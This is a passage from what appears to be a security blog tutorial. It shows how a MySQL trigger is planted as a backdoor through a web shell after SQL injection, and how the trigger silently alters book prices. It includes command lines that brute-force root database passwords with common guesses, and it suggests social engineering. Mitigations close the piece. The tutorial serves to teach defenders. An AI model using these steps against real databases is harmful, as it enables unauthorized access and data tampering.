              Let’s say we’ve already guessed the username and password as root and toor [by using brute force through Blind SQL and querying the mysql.user table]. Now we access the Web shell and pass a command as follows:
              1
              mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2



              Now let’s look at the database again.
              There’s our trigger.
              Now let’s run an INSERT query and see if our trigger ‘runs’. So the price of all Jeffrey Archer books is some ridiculous number.


              Now on running the query…..
              Ooops… look at the last line. Someone isn’t going to get paid as much as they thought they would…
              Now here we directly executed an INSERT query against the database. In the real world there would be a form to ‘Add Books’ which would fire this exact INSERT query in the backend, and the trigger would most certainly still run. That’s the only reason why I haven’t created another form (and I’m a little lazy too).
              Obviously the big IF in this attack is that we have to guess the username and password for the database. Without going into too much detail, here is one way you can approach it:
              — Think of a few known database usernames [e.g root in the case of MySQL] or social engineer your way into getting a few
              — MySQL passwords are hashed these days; so the password is NOT going to be in clear text
              — You can try and crack passwords in two ways (that I can think of):
              • Use the SQL injection vulnerability to compare a list of passwords against the stored password hash. (Blind SQL; refer previous article)
              • Run the trigger in the Web shell with the entire list of cleartext passwords for a specific account. You can write a Perl or Ruby script to do this for you. Try inserting a book after the entire password list has been traversed or after each guess to find out which password worked.
                • mysql -uroot -ptoor blindsql_test< /var/www/test/g2
                • mysql -uroot -proot blindsql_test< /var/www/test/g2
                • mysql -uroot -ptest blindsql_test< /var/www/test/g2
                • mysql -uroot -ppassword blindsql_test< /var/www/test/g2

              Recommended Mitigations:

              • Use parameterized queries to protect against SQL injection
              • Don’t have any world writeable directories in your webroot.
              • Restrict the privileges of the application user who is quering your database in the backend. In this case, don’t assign the FILE privilege to that user.
              • Disable all default database accounts
              • Have strong database passwords and a strong password policy

              Conclusion

              The root of the problem remains, the application is vulnerable to SQL injection. Fixing that will prevent the problem. However, it’s good to know the different ways in which backdoors can be planted. A lot of malware will spread this way; and it’s important to take steps to protect against them.

              References:

              Triggers:
              Execute SQL commands from a text file: http://dev.mysql.com/doc/refman/5.0/en/batch-commands.html